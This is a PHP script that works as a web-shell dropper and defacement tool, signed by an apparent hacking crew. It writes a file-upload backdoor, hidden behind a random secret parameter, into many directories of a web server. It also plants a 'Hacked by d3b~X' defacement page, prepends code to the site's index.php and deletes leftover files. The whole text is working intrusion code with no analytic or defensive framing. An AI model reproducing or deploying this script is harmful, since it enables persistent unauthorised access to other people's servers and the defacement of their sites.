<?php 
error_reporting(0);
function RandomString($length = 5) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomS = '';
    for ($i = 0; $i < $length; $i++) {
        $randomS .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $randomS;
}
$ndom = RandomString();
$file  = '<?php if(isset($_GET["'.$ndom.'"])){echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]";print "\n";$disable_functions = @ini_get("disable_functions");echo "DisablePHP=".$disable_functions;print "\n";echo"<form method=post enctype=multipart/form-data>";echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}}}?>';
$file .= '<title>Hacked by d3b~X</title><center><div id=q>Gantengers Crew<br><font size=2>SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php
<style>body{overflow:hidden;background-color:black}#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}';
$pch  = '<?php if(isset($_REQUEST["cid"])){ switch ($_REQUEST["cid"]){case "20": echo "Error 403";exit;break;}} ?>';
$tmp=file_get_contents("../index.php");$tmp=$pch.$tmp;file_put_contents("../index.php", $tmp);
$r=fopen("ganteng.php", "w");fwrite($r,$file);fclose($r);
$r=fopen("../ganteng.php", "w");fwrite($r,$file);fclose($r);
$r=fopen("../../ganteng.php", "w");fwrite($r,$file);fclose($r);
$r=fopen("../../../ganteng.php", "w");fwrite($r,$file);fclose($r);
$r=fopen("../../tmp/ganteng.php", "w");fwrite($r,$file);fclose($r);
$r=fopen("../../images/ganteng.php", "w");fwrite($r,$file);fclose($r);
$r=fopen("../tmp/ganteng.php", "w");fwrite($r,$file);fclose($r);
$r=fopen("../images/ganteng.php", "w");fwrite($r,$file);fclose($r);
echo "Randomnya:".$ndom;
$r=fopen("x.php", "w");fwrite($r,"");fclose($r);
if(file_exists("x.php")) unlink("x.php");
if(file_exists("x.php3")) unlink("x.php3");
?>

